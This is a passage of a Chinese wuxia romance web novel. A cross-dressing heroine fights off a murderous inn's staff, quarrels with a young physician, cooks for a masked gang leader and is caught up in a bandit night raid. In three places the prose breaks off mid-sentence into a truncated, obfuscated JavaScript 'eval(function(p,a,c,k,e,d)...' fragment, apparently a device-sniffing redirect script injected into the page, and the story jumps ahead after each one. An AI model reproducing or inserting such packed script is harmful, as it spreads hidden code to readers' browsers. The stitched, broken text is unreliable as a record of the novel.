“这回咱们走大运了,这几个妞长得肤白貌美、细皮嫩肉,卖到青楼肯定能赚一大笔钱。” “大哥,都卖了太可惜,不如留两个给兄弟们日常消遣。” “瞧你那点出息!发大财不比一时快活强吗?等赚了这票大钱,咱们就可以金盆洗手,离开这个破店去别的地方逍遥快活。” “可是我们拿钱跑了,寨主会放过咱们吗?” “你放心,退路我老早就想好了。只要你们忠心跟着我,日后我定不会亏待你们。” “多谢大哥。” 仔细听这两人的声音,陆知夏发现竟是客栈的掌柜和浴池外遇到的那个伙计。她猛然醒悟,这儿居然是家黑店! 外边两人又说道: “楼下那锦衣少年和这对落魄爷孙杀了之后如何处理?” “老规矩,拖到树林里埋了,绝对不会有人发现。” 一声花瓶落地的清晰脆响惊动外边二人。陆知夏汗颜,往自己房中的花瓶望去。花瓶完好无损,不是她打碎的,但声音那么近,打碎花瓶的定是…… 门板“哐”一声被人踢开,不过被踢的不是陆知夏的房门,而是吴老伯的房门。同时隔壁响起一阵激烈打斗声。陆知夏担心吴老伯被害,随手抄起角落的油纸伞开门冲出去。 隔壁房门大开着,陆知夏赶到时吴老伯已徒手同手执大刀的掌柜和伙计打了起来。吴老伯虽没有武器,但身手敏捷,两个歹人伤不到他分毫,还被他的裤腰带抽了好几下,连连痛呼。 吴老伯居然会武功,陆知夏松了口气。 楼梯处传来急促脚步声。陆知夏转头望去,三个凶神恶煞的伙计高举大刀朝她冲来。所幸走廊狭窄,他们施展不开。陆知夏回房抄起房里一切可扔的东西向他们砸去,前面的人矮身躲过,后面的人没留神陆续中招,捂脸蹲在地上痛呼。 房里可扔的东西没了,最前面没中招的大汉冲上来挥刀对着陆知夏一阵狂砍。陆知夏抬伞抵挡,在对方连番攻势下伞被削得只剩个骨架。她作势开伞,旋着伞骨转身接近大汉。断裂的伞骨锋利,直将接触到的血肉刮破,鲜血飞溅,大汉痛呼着后退躲避,陆知夏却旋伞紧跟,趁其不备踹其要害。 “啊——”大汉夹腿痛呼,僵倒在地。陆知夏停住脚步,抬腿对着地上的人一通暴踹。 先前中招缓过来的两人挥舞着大刀向陆知夏砍来,她左右闪身灵活躲避,顺手捡起地上的大刀与二人打斗。她虽然武功不济,但毕竟曾是名门正派弟子,基本功扎实,见招拆招也能勉强对付些不入流的歹人。 “今日,就让你们见识我城南一霸的厉害。”陆知夏得意一笑,猛然想起一招厉害剑法,便以刀为剑拿二人来做试炼的靶子。她急刺专攻一人,故意让另一人钻背后的空子,击倒面前的人后迅速弯腰下马,一刀刺中身后举刀欲偷袭之人的肚子。刀口虽扎得不深,但对方依旧血流不止,陆知夏望着那片殷红不知怎的有些目眩。 中刀之人倒下,前边的人又挥舞大刀砍来。由于平日疏于练武,陆知夏腰腿僵硬,关键时刻下马容易起身难。眼看那人的大刀就要将她拦腰斩成两段,一把大刀“唰”地从吴老伯房里飞来,精准穿透歹人胸口。歹人瞪大眼睛僵在原地,片刻倒地没了动静。 “小夏,你没事吧。”吴老伯上前扶陆知夏站好,一脸关心地看着她。 其余两个伤得不重的歹人想跑,吴老伯提着大刀迅速追上去将其解决。 走廊上血迹斑斑,血腥味浓烈。陆知夏看着吴老伯刀锋上滴下的鲜血,眼前骤然闪现那日小玉被数把利刃扎穿胸膛的惨烈情景。她迅速把脸转开。吴老伯房里也躺着两具血淋淋的尸体,血腥味儿随风扑来。胃里一阵抽搐,陆知夏捂嘴阵阵干呕。脑海里全是小玉血淋淋躺在她怀里逝去的样子,浑身止不住颤抖。 “小夏,你怎么了?”吴老伯发现陆知夏不对劲,以为她受伤了,可左右也瞧不见伤口。 “没事,我只是有些……晕血。”陆知夏声音也变得虚弱。吴老伯扶她回原来的房间休息,独自提着大刀下楼查看情况。 * 陆知夏休息一阵子感觉已无大碍,楼下隐约传来打斗声,她不放心起身开门走出去。 走廊上静悄悄的,其他客房的门紧闭着,路过都能闻到迷香残留的味道,里面的人定然都中招了。陆知夏下楼,小厅上仍亮着灯,只有紫衣美人和锦衣少年趴在桌上。 浴池方向隐隐传来动静,陆知夏轻手轻脚走过去。女浴的门虚掩着,她握着一根路上随手拿的木棍挑开帘子走进去。屋里灯火昏黄,视线不佳,空气里残留着淡淡迷香味。她掩住口鼻继续往里走。 浴池温暖,四周水气氤氲。陆知夏定睛看去,发现一名姑娘垂着头泡在池里一动不动。她搁下手里的棍子走过去,双手托住姑娘腋下想拉她上岸。 一双玉足从后边悄悄靠近,陆知夏余光瞥见,心神一凛即刻闪身。 “去死吧,淫贼!” 伴着一声厉喝,身边“呼呼”扫过一阵棍风。袭击陆知夏的是一名姑娘,陆知夏顺势抓住棍子向前扯,姑娘一个趔趄脚滑扑进水池里,激起大片水花。 “救命,我不会游泳……”姑娘在水里扑腾大喊。 陆知夏抱着手臂站在池边,不耐道:“这水还没半个人高,淹不死人。” 经人提醒,水里的姑娘停止扑腾,慢慢站直,抬手指着池边的清秀男子骂道:“你这淫贼不光无耻,还心肠歹毒。” 陆知夏道:“我方才是在救人。” “狡辩!”女子理直气壮道:“我亲眼看见你伸手去摸小蝶,真下流!” 一番好意因为身份被人误会,陆知夏苦恼又不知如何解释。水里的人趁她走神,扬手掀来一片水花。陆知夏双眼被水糊住,还未擦干,只觉衣角被人用力拉扯,整个人便失去重心向前摔去。 浴池再度溅起水花。 陆知夏呛了口水刚浮起来又被那姑娘按回水里。窒息的恐惧激发求生的本能,陆知夏右手扣住按在头上的手,双腿借着浮力跃起踹向面前之人的小腹。头上的手一松,二人一同沉入水中,在水中扭打起来。 那姑娘没有一点武功底子,论蛮力也不是陆知夏的对手,转眼被陆知夏双腿夹住脖子往水底压。 一切只是误会,陆知夏无意害她性命,将她治服帖后便松开双腿。 那姑娘浮出水面已是满脸通红,不停吐水咳嗽。陆知夏觉得自己下手重了,顿时有些过意不去。不料对方又甩她一脸水,转身就逃。陆知夏气不过,伸手去抓人。手刚扣住对方肩头,掌心捏紧衣物,人却没了。 “啊——” 一声震耳欲聋的尖叫差点将屋顶掀起。 陆知夏汗颜,不知所措地看着光着半截身子的姑娘,目光蓦然落在她腰际一片艳红上。隔着水雾陆知夏看不清那是什么,从轮廓上看像一朵花? “淫贼!”那姑娘拢好衣服回头大骂。 陆知夏吞吞吐吐道:“我,我不是故意的。是,是你自己要跑……” 那姑娘一边甩水一边朝陆知夏走来,恶狠狠道:“我要阉了你!” 陆知夏被猛冲过来的姑娘掐住脖子往池边推,水下一只手解开她的衣带。 “住手,我不是……”陆知夏来不及解释衣裳已被那姑娘粗暴扒开,胸前一凉,二人同时愣在原地。 那姑娘望着陆知夏白色束胸下隐约可见的丰盈,震惊道:“你是女的?” 陆知夏一把将她推开,合上衣裳,愤愤道:“这回你该信了吧?姑奶奶对你们没兴趣。” “那可难说。”那姑娘抱着手臂,审视般看着陆知夏,“说不定你有特殊癖好。” 陆知夏青筋暴起,大吼道:“你有完没完,我刚才是怕你的同伴泡死在水里才好心拉她上来,没你说的那般龌龊!” “那你为何拿着棍子进来?即便不是淫贼也跟那些坏人是一伙的。”那姑娘始终坚持自己的观点。 陆知夏怒极反问:“那你呢?你的同伴都中招了,为何你却相安无事?” 那姑娘神情倨傲,冷哼一声,“我为何要告诉你?” “我看你才是做贼心虚。”陆知夏懒得理她,爬上池子整理好衣裳往外走。浑身湿漉漉的,她又得回去换身干净衣裳。 出了女浴的门,陆知夏正好遇到吴老伯。他听到浴池这边的动静赶来,没想到却遇到成了落汤鸡的陆知夏。陆知夏把自己救人反被误会成淫贼的事告诉吴老伯,吴老伯哭笑不得。 随后女浴里也走出一人,正是方才暗算陆知夏的姑娘。她换了身干净衣裳,头发也擦干梳理整齐,一双圆润有神的大眼睛扑闪间透着天真烂漫,模样看起来比刚才咄咄逼人的样子顺眼许多。陆知夏当即认出她是晚上见过的那个绿衣姑娘。 姑娘也认出眼前这一老一少是晚上同在厅上吃饭的客人,但吴老伯手里握着刀,她怯怯后退,紧张道:“你们究竟是好人还是坏人?” 陆知夏抱着手臂道:“那你呢?方才你还没回答我的问题。” 姑娘沉默片刻,说道:“我是医者,夜里准备泡澡时察觉有人在外边使用迷香,之后我便服药躲了起来,直到见你鬼鬼祟祟进来非礼小蝶,我才……。” “我都说了是误会!”糗事又被提起,陆知夏咬牙。 姑娘没好气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倾月眼睛一瞪,撇嘴道:“谁跟着你,我是来找水的。” 陆知夏抬手指着屋外,“水井在院里,请便!” 倾月冷哼一声,目光落在陆知夏身后敞开的柜子上。她大步走过去,在一堆瓶瓶罐罐里翻找。陆知夏赶紧换衣服,擦干头发梳回男子发髻。 “我找到解药了!”倾月高兴转身,手里握着一个小瓷瓶。看着换上伙计衣裳的陆知夏,她顿时皱眉,“你穿那些臭男人的衣裳不嫌脏吗?若你没有衣裳换,我可以借给你。” “不必了。这身衣裳有阳光晒过的味道,尺寸也合适,我觉得挺好的。”出门在外,陆知夏可没那么多挑三拣四的臭毛病。况且她出逃在外怎敢穿回女装,若是被人认出就糟了。 二人各得所需后一同往前面走去。 * 服下倾月找到的解药,中迷香的人陆续醒来。 小厅上,倾月坐在刚苏醒的紫衣美人身边,关切道:“菱姐姐,可还感到任何不适?” 紫衣美人摇头。 少年面带愧色地说道:“都怪我大意,差点让歹人害了姐姐们。” “现在不是说这些的时候。”倾月严肃道:“我们必须尽快离开这家黑店。” 听到“黑店”二字,紫衣美人心头一跳,忙问道:“其他姐妹没事吧?” 倾月道:“她们都醒了,在楼上收拾东西。” 此时,楼上走下一老一少。倾月告诉紫衣美人正是他们把店里的歹人除去。紫衣美人赶紧上前向二人道谢。 吴老伯客气摆手,让她们也尽快离开。 寅时左右,客栈外边仍是一片漆黑,雨势也不小。陆知夏和吴老伯在大门附近找了一圈也没找到马车,心顿时凉了一截。 客栈里,收拾妥当的姑娘们也要出门,迎面碰上去而复返的爷孙二人。吴老伯告诉他们歹人把马车都偷走了。少年冲出门去查看,除了地上凌乱的车辙和脚印,客栈四周果然空荡荡的。 天未亮,大雨滂沱,道路又泥泞湿滑,没有马车他们如何上路?此时独步野外不比继续留在客栈安全。所有人只好放下肩上的包袱,垂头丧气坐在厅上。 吴老伯小声安慰陆知夏:“别担心,此处距离忧城不过一日路程,等明日天气放晴,路一通,咱们走走就到了。若是运气好,搭上顺风车就更快了。” 陆知夏依旧愁眉不展,“可丢了马车日后你怎么办?” 吴老伯一怔,摸摸她的头,微笑道:“我的任务是把你安全送到离忧城,往后的事往后再说。” 陆知夏佩服他老人家的乐观,心情也稍微明朗一些。 大家决定暂时留在客栈,待天亮雨停再离开。少年和吴老伯清理好客栈里的尸体,姑娘们上楼休息。 夜雨淅淅沥沥,接连不断的雨水在宁静的村道上汇成一处处水汪,倒映着漆黑夜空,犹如浓稠得化不开的墨汁。 33. 走运 睡梦中雨声时大时小,正做着美梦的陆知夏被楼下一声巨响惊醒。此时已天亮,但外边仍下着雨,天光灰蒙蒙的。 门外声音嘈杂,陆知夏起身走去开门。狭小的走廊上站满了同样疑惑开门出来的姑娘。陆知夏走到隔壁敲门,但吴老伯不在。这时楼下又传来动静,还有陌生男子说话的声音,陆知夏和其他人匆匆往楼下走去。 客栈大门敞开着,门前立着两名面容冷肃的青衣男子,看他们统一青衣短衫,手执长刀,像是哪个江湖帮派的人。少年小离握拳看着二人,喝道:“客栈已住满,你们还硬闯进来作甚?” 一名青衣男子扫了眼陆续来到厅上的姑娘,冷冷道:“这客栈是你们开的?掌柜在哪儿?让他来同我们说话。” 小离一时不知如何作答。 紫衣美人上前,神情淡定地说道:“二位青和帮大哥息怒,我们是离忧城云梦居的人,昨夜途经此处投宿,却不料这是家黑店。掌柜和伙计图谋不轨,被我们的人……赶跑了。但我们的马车也没了,只好继续逗留于此避雨。” 两名青衣男子审视厅上众人。若不是他们女子众多,穿衣打扮气质不俗,很容易被人误会成杀人霸店的恶徒。 先前那青衣男子道:“既是无主之地,那我们进来避雨你们为何阻拦?” 紫衣美人道:“客栈狭小,楼上六间客房已住满,实在容不下贵帮这么多人。” 陆知夏站在楼梯上正好能瞧见客栈外的情况,她眯眼望去,外边来了整整一支几十人的商队。若这些人都进来,客栈里怕是连一处蹲的地方都没有。 两名青衣男子绕过面前的人公然进客栈四处查看。小离想阻拦,紫衣美人拉住他。 一名青衣男子欲上楼,陆知夏拦住他,面色不善道:“都说上面六间房住满了,有什么可看的?再说你们又不是官差,凭什么搜店?” 男子看这清秀伙计不好惹,心有不甘地止步。这时另一名青衣男子从后边回来,问道:“后院空屋可有人住?” 紫衣美人一怔,歹人住过的地方他们都不敢靠近,一时竟忘了还有后院那处大地方。但来人太多,也不一定够住。 无人回答,青衣男子干脆道:“那后院就归我们了。” 言罢,二人出门向一辆挂着青绿帘子的华丽马车走去,毕恭毕敬立在车旁同里面的人说话。其中一人回到厅上,对众人道:“我们帮主说,相聚即是有缘,大家若能和平共处,安全问题你们不必担心,等天晴了我们还能捎带各位一程。” 闻言,云梦居的人面露喜色。小离不再阻拦他们,姑娘们也各自散去。 双方谈妥,数名青和帮弟子进客栈收拾后院。 吴老伯不在客栈,陆知夏一个人百无聊赖地走到窗边看雨,放眼望去正好看到华丽马车上一双修长的大手挑开帘子,一名戴着半截面具的高大男子从车上下来,接过旁边弟子手中的伞,独自朝客栈走来。 风雨中,他身上那袭宽大的青绿锦袍随风轻扬,微微露出悬于腰间的一把绿柄弯刀,与遮挡上半张脸的银制麒麟面具在日光下泛着森森白光,整个人浑身散发着一种不怒自威的气势。陆知夏虽看不清此人具体的身形样貌,但乍眼看去却隐隐觉得他有几分似曾相识。 银面人来到大门前,一名弟子上前为他收伞,另一名弟子为他引路。 银面人缓步入厅,行走间面具两侧红色流苏轻曳,给那弧线优美的下颌增添一番风情,引来厅上姑娘含笑侧目。 陆知夏听旁边一桌的粉衣姑娘感叹道:“这就是青和帮的沈公子?果然仪表堂堂,气度不凡。” “我看不如咱们二公子。”小蝶姑娘嗤笑道:“听说他总戴着这张阴森面具,说不定面具下是个丑八怪。” 银面人侧目,面具下一双寒潭般幽深的眸子透着一丝杀气,二女立时噤声低头。窗边的清秀小伙也转过身去。 陆知夏心头猛跳,方才她的目光一直好奇追随着这个银面人,他那暗含杀气的目光射来时,不知为何令她有些恐惧,这种感觉就像……那个该死的冤家? 陆知夏摇头,即刻否定这种不合理的想法。或许只是巧合罢了。 吴老伯从客栈外回来,倒了杯茶,说道:“路上堆积的淤泥比我想象的多,不过有青和帮的人在此,歹人定不敢回来。我们可安心等待路通再走。” “青和帮。”陆知夏念着这个名字,问道:“我以前没听过这个名字,它是新起的帮派吗?” 吴老伯点头,“青和帮是由沈公子创立的,具体时间不祥。但这个沈公子可不简单,年纪虽轻却武功高强,魄力过人,他数年间兼并好几个江湖帮派,广纳众多能人弟子,如今的青和帮已是江湖三大帮派之首。” 提到江湖三大帮,陆知夏忽然想起曾在《江湖逸闻录》中看过一段相关往事。当年骆辛帮与九盟会因不满后起之秀抢夺他们的生意,屡屡暗使绊子,甚至公然拦截对方货物。后来新帮会的帮主带着擒获的一干人上门对峙,用拳头硬生生将两大帮派高手打败,劈碎他们总堂的牌匾才肯罢休。此后两大帮派规矩做事,再无人敢轻视挑衅这后起之秀。三大帮派各凭实力发展,最终并立江湖。 但书中始终未提及这位新帮主的名字。据说他神秘低调,饶是像百晓会这样消息灵通的组织也只挖到他的姓氏。见过他之人皆叹他气度不凡,此后江湖人便称其为沈公子。 陆知夏正发呆,忽见青和帮弟子抬着一个个沉甸甸的大箱子往后院走。她留心数了数,共有二十五个箱子,且每个箱子都有锁,她猜里边装的货物一定很重要。 时近正午,陆知夏饥肠辘辘。如今客栈无人运营,即使有钱也吃不到现成的东西,陆知夏起身往厨房方向走去,若是厨房里有食材她可以简单做点吃的。 倾月迎面走来,见陆知夏仍是一副伙计打扮,取笑道:“你一直穿着这身,难不成真想当店里的伙计?” 陆知夏忽然意识到一件很严重的事,将她拉到一旁,小声道:“那个,你没把我是女儿身的事告诉别人吧?” 倾月摇头,忽然惊讶看着她,“难不成你是逃犯?” 陆知夏深吸一口气,轻叹道:“我是好人。但我这么做有不得已的苦衷,请你替我保密。” 倾月似笑非笑,抱着手臂斜睨陆知夏,“求人总得拿出点诚意吧?” “你想怎样?”陆知夏身无分文,担心被她勒索。 倾月揉了揉肚子,说道:“一早上没吃东西我快饿死了,你去给我和姐妹们弄点吃的过来。” “好,你等着,我先去厨房看看。”陆知夏松了口气。 厨房的门开着,不少人也在里面寻找吃的。陆知夏进门,青衣弟子们见他一身伙计打扮皆上来问他要吃的。陆知夏尴尬解释清楚,那些人失望散开。 厨房里确实没有现成的食物,但有一个屯菜的地窖。青和帮的大男人不会下厨,一个个愁眉苦脸离开。只有陆知夏一人捞起袖子走进去,挑了些青菜土豆出来,路上又顺手扯下挂着的干牛肉,绑好衣带准备亲自下厨。她忽然感慨,还好这些年没把厨艺落下。 但也只有熬过苦日子她才懂,比起琴棋书画和女红这些闺阁小姐必学的高雅技艺,厨艺虽上不得台面,关键时刻却能救命。 生好火,切好菜,陆知夏淡定从容地下油炒菜,看准火候洒入肉片。诱人的香味儿四溢,引来几个饥肠辘辘的青衣弟子。他们默默站在一旁看陆知夏熟练地翻炒锅里快成熟的食材,口水咽了又咽。 一大盘土豆闷牛肉出锅后,陆知夏又炒了几碟素菜,装盘后便端着离开。一名浓眉大眼的青衣弟子拦住她,笑嘻嘻道:“小兄弟一会儿能不能也给我们做几个菜,银子我照付。” 财路从天而降,陆知夏暗自欣喜,当即答应。她空手逃出来,身无分文,目前有吴老伯照应不用发愁,可到了离忧城就得靠她自己,如今有财路能赚一点是一点。 匆匆给楼上的姑娘送去饭菜后,陆知夏顾不得自己饥肠辘辘,接着给青和帮的人做菜。 * 后院一间干净小房里,沈公子坐在桌边喝茶,一名浓眉大眼的青衣弟子端着热气腾腾的饭菜进来,恭敬道:“帮主请用膳。” 沈公子诧异道:“店家和伙计不是都跑光了,哪来的饭菜?” “是前边那些人里一个长相清秀的小兄弟做的。”弟子将饭菜摆上桌。 沈公子想起进门时立于窗边的那道纤瘦身影,一手抚着下巴,探究般看着桌上的两菜一汤,迟迟没有动筷。 弟子以为他心有顾虑,说道:“帮主放心,饭菜是我看着他做的,绝对没问题。” 沈公子拿起筷子,挑了一块最小的土豆片放进嘴里,慢嚼片刻眼中焕发一丝神采,说道:“伙食就交给他吧,付双倍酬劳。” “是。”弟子微笑。 沈公子看了一眼窗外渐亮的天色,吩咐道:“一会儿给弟子们也弄点热食,这几日大家日夜兼程地赶路都辛苦了,多做几个菜让他们吃饱,雨停后着手通路。” “是。”弟子恭敬退下。 沈公子慢慢品尝面前菜色一般却下饭的家常菜,唇畔始终噙着一抹似有若无的笑意。 * 陆知夏正准备收拾灶头去吃饭,转头她的“财神爷”又来了。看着走近的浓眉大眼男子,陆知夏笑道:“杨大哥,我做的饭菜合不合你们老大胃口?” 杨晚道:“帮主说还不错,让你给其他人也做些。”说着放下两锭银子。 “没问题,包在我身上。”陆知夏将银子收入怀中,心里乐开了花。大帮派之人出手也阔绰,转眼她就赚了三锭银子。她万万没想到,有朝一日也能凭厨艺养活自己。 地窖里还有很多菜,杨晚和两名弟子帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倾月礼貌询问:“大婶,村里可有药材铺?” “没有。”大婶将这对陌生男女打量一番,说道:“你们是过路的吧,谁生病了?” 倾月道:“我们昨夜途径此处,投宿在客栈里,早上我姐姐头疼的老毛病犯了,我来替她抓药。” 闻言,大婶脸色大变,不可思议地看着二人,说道:“那是家黑店,你们住了一夜竟然没事?” 陆知夏道:“大婶放心,那伙歹人已被我们除了。” 大婶眉头舒展,双手合十望天,欣喜道:“老天爷保佑,那群为非作歹的坏种总算被人收拾了。” 一无所获,陆知夏和倾月转身回客栈。大婶叫住他们,说道:“我知道哪里有草药,你们跟我来吧。” 二人欣喜回头,跟随大婶往村里走。 路上,大婶神情愤慨地同身边二人抱怨道:“那间黑店的掌柜与附近山匪有来往,不但谋害过路人,平日还欺压我们这些手无寸铁的村民。别看现在我们村没几户人家,几年前这儿可热闹了,有近五十户人。那些恶霸盯上我们村后,三天两头来村里烧杀抢掠,大家逃的逃,散的散,最后就只剩我们几个老弱病残了。” 陆知夏不解道:“你们为何不去报官?” “报过,没用。”大婶叹息道:“这些年村长往离忧城写了不下十封求援信,可是官府始终无动于衷,匪盗反而更猖獗了。” 村子不大,他们稍走片刻就到了一座矮墙小院外。 大婶带二人进屋,一个老婆婆坐在院中择菜,看见有人进来微笑道:“秋菊,你怎么过来了?” 大婶上前,凑到老婆婆耳边大声说道:“卢婆婆,有人生病了,我带这两个过路的年轻人来抓药。” 卢婆婆眯眼看向两个年轻人,“哪个病了?伸手过来给我把把脉。” 倾月道:“不必劳烦婆婆,我有药方,您照着抓药就好。” 卢婆婆起身带倾月去西边一间房抓药。陆知夏和秋菊大婶在院子里候着。 陆知夏见秋菊大婶篮子里装满了菜,又不时抬头看天色,猜她定有急事,便独自留下等倾月让她先走。 陆知夏往旁边小木凳上一坐就是半个时辰,许是雨天沁凉,她忍不住打了好几个喷嚏,人也有些昏昏欲睡。这时,倾月从房里出来,手里拿了几袋包好的药,笑道:“卢婆婆自己晒的药材真不错,若有马车我定让菱姐姐把她的药材都买了。” 陆知夏道:“药到病除便好,买多了你要当饭吃不成?” 倾月觉得她说的有道理,但他们医者一见到好药材总忍不住想收藏。 陆知夏打了个哈欠,困得眼皮似有千金重。倾月将手里的药材扔给她拿,轻轻松松回客栈。 34. 夜袭(上) 陆知夏和倾月回到客栈,厅上除了两名姑娘,一眼望去空荡荡的。若不是附近还停着十多辆马车,她们还以为青和帮的人不守信用扔下他们走了。 陆知夏带倾月到厨房煎药,听一名正要出门的青衣弟子说,他们的人去村外通路了。人多力量大,估计天黑前就能把路疏通。 好在倾月在熬药这种事上要亲力亲为,陆知夏得以回房休息。她想,许是之前当小姐太懒散,如今干点活就累得不行。回屋关好门窗,头一沾枕头她便沉沉睡去。 傍晚,村子方向炊烟袅袅。客栈一带仍旧冷冷清清。 陆知夏睡得正香,一阵急促敲门声将她吵醒。睁眼天色微暗,她一不小心睡过头了,匆忙起身开门。 杨晚皱着眉头站在门外,“敲了半天没人应答,我还以为你不在。” 陆知夏挠头道歉,随他下楼去厨房准备晚饭。其他人还没回来,杨晚让她先做他们老大的份。 挑好菜陆知夏便开始忙活,快做好的时候杨晚从外边匆匆进来,说道:“我有急事得离开,一会儿你直接把饭菜送到帮主房里。” “这……不太好吧。”不知为何,陆知夏有些害怕那个沈公子。 “没事,我们帮主人挺好的,不会挑三拣四为难你的。” 陆知夏仍是一副不情愿的样子。 弟子们通路未归,客栈里没其他帮手,杨晚着急出门索性将一锭银子放在案上,“别推脱了,就当帮我个忙吧。” 陆知夏笑着摆手,“杨大哥真是太客气了。行吧,这事你就放心交给我。” 杨晚道谢,匆匆离开。 * 天色已暗,陆知夏端着饭菜往沈公子的住处走。青和帮弟子外出未归,后院空荡荡的,他们帮主门外也无一个侍从。 陆知夏站在门外,鼓起勇气敲门,“沈公子,饭菜做好了,杨大哥让我把饭菜给您送过来。” “进来。” 屋里传来低沉清冽的男子嗓音。陆知夏推门,屋里仅点了一盏油灯,光线昏暗,她端着饭菜慢慢走进去,用余光偷偷观察四周。这间房看起来比客房宽敞舒适,陈设也高档许多,就是整体布置透着俗气,看得出此前的主人日子过得奢靡却没什么品味。 架子床帘子一侧垂下,陆知夏纳闷,难不成这个时候沈公子还在睡懒觉? 她将饭菜摆上桌,朝床的方向唤道:“沈公子,晚膳备好了。” 床上毫无动静。 陆知夏正犹豫要不要好意上前提醒,一道青绿身影忽然从她背后冒出来。 “啊!” 陆知夏一直盯着床的方向,被忽然出现的人影吓了一跳。还好饭菜不在手上,否则打翻又得重做。 “胆子真小。”低沉清冽的男声透着轻嘲。 陆知夏抬头不经意对上银制面具下一双如夜空般深邃沉寂的眸子,微愣片刻尴尬移开视线,挠头说道:“方才我还以为公子在床上歇息。” 沈公子坐下,扫了一眼桌上的饭菜,说道:“这些都是你亲手做的?” 陆知夏点头,“杨大哥说中午的饭菜您还满意,就接着让我做。” 沈公子颇为赞赏地打量面前模样清秀的小伙计,问道:“你叫什么名字?” 陆知夏早就为出逃在外的自己想好了身份,干脆道:“我叫夏蝉,公子叫我小夏就好。” “夏蝉。”沈公子喃喃,唇边噙着一抹淡淡笑意。 他执筷尝了尝桌上两道菜肴。食材虽然都是普通食材,但做菜之人合理搭配,没有掺杂过多调料,火候也恰到好处,口感质朴中透着食材原本清香,令人回味无穷。 “你何时学会做菜的?”沈公子抬眸望着陆知夏。 陆知夏摸着下巴回忆,“大概九岁左右吧。小人自幼家贫,很多家务活都得自己动手干,做菜也是。不过刚开始做的时候很难吃,直到后来我到酒楼打杂的时候经一位好心伯伯指点才渐渐做好。” 幼时第一次尝试做菜的情形陆知夏至今记忆犹新。当时她要做糖醋排骨,但最后出锅的却是一堆“黑石头”。想着不能浪费食物,她就拿去给一群常年窝在后门的野狗吃,后来它们再也不敢靠近莫宅,见到她也躲着跑。 “那些年你一定过得很辛苦吧。” 沈公子低沉却满含关切的声音拉回陆知夏思绪。她怔了怔,心头微暖,感慨道:“辛苦是辛苦,但我也学到了许多谋生的本事,现在即使只剩自己一个人也能照顾好自己,一点也不亏……” 杏眸里闪耀着柔和微光,沈公子心知他已放下那段过往,收回视线,安静吃饭。 陆知夏看着吃相文雅的沈公子猜想他的出身肯定不错,加上刚才他那番体己的话,她认为他一定不是那种蛮不讲理的大老粗,担得起“公子”的名号。 侍候沈公子用完膳,陆知夏端着空盘子轻松出门。这个沈公子虽然气度不凡,但没想象中的那么难以相处,之前是她自己想太多了。 回到厨房,陆知夏蒸的包子也熟了,她又做了几道菜,一同给云梦居的人送去。中午紫衣美人体恤她做菜辛苦付给她银子,也定了晚上的伙食。如今她两头赚钱,忙碌却充实快乐。 刚给云梦居的人送完饭,青和帮的弟子也回来了,陆知夏匆匆回厨房准备他们的饭菜,一个人像陀螺似的忙转不停。 许是今夜过于忙碌,陆知夏感觉身上有些发热,脸也有些烫。但她忙着做事没太在意。 “小夏。” 一名青衣弟子探头进厨房,“今日我们把路疏通,村民为表感谢送了许多饭菜过来,你再做几个素菜就好。” 路通了!陆知夏欣喜。看来遇到青和帮的人他们真是走运了。 * 客栈小厅上灯火明亮。 通路回来的青和帮弟子之前在河边洗过澡,光着膀子围在小厅上吃饭。几个村民穿行其中,给各桌奉上他们自己做的美食米酒。一群人有说有笑,小厅里拥挤而热闹。 陆知夏端着自己做好的菜从厨房出来,看到厅上尽是光着膀子的男子,眯着眼睛慢慢走过去上菜。 各桌上已经摆了各种鸡鸭鱼肉,还有新鲜水果。看样子为了感谢青和帮的人为他们通路,村里人把家里最好的食物都大方拿出来款待。相比之下,陆知夏做的素菜逊色不少,但弟子们饥肠辘辘并不挑食,一样吃得津津有味。 上完菜,陆知夏回厨房收拾。走到半路眼前一黑险些跌倒,她扶着墙休息,感觉身上忽冷忽热,像是生病了。 一名大婶上前关心道:“小兄弟你怎么了?” 陆知夏抬头,发现遇上的正好是秋菊大婶,有气无力地说道:“我感觉头好晕,浑身酸软无力。” 秋菊大婶见他脸颊微红,伸手覆上他额头,惊呼道:“呀,你发高烧了!我带你去卢婆婆那里抓药吧。” 陆知夏暗道倒霉,在秋菊大婶的搀扶下往客栈外走去。 人群里正在吃饭的吴老伯瞥见陆知夏神色不佳地随一个村民离开客栈,心有不安,放下筷子跟上去。了解情况后,三人一同往村里走去。 此时村子里也在庆祝,几家人在挂着灯笼的空地上拼桌吃长席、聊家常,气氛和乐。 秋菊大婶从席上叫来卢婆婆,四人往附近一处农家小院走去。 * 村外树林里大片黑影伏动,来人一个个如鬼魅般悄悄接近客栈和村子。草丛间隙里,几十双暗含杀气的眼睛紧盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靠近客栈的山匪也准备动手。头顶不知何处忽然响起一阵清长哨声,似在向客栈里的人传递消息。独眼男心知行动暴露,索性站起来大手一挥,喊道:“弟兄们,跟我杀进去夺回客栈!” 几十个山匪手执大刀奔向客栈。厅上的青和帮弟子已在听到哨声那一刻放下筷子拿起兵器戒备。 后院房中,沈公子放下酒杯,淡淡吐出一个字:“杀。” 一道黑影跃上屋顶吹了一声响哨,厅上弟子手握兵刃冲出客栈,迎面与冲杀而来的匪徒奋勇厮杀。同是刀口上舔血的人,青和帮弟子却更骁勇。他们入帮须得经过层层选拔,平日还要经受严苛训练,每人都是以一当十的料。眼下这群乌合之众虽人数上略胜一筹,但论实力却不是他们的对手。还未靠近客栈,山匪已死伤大片。 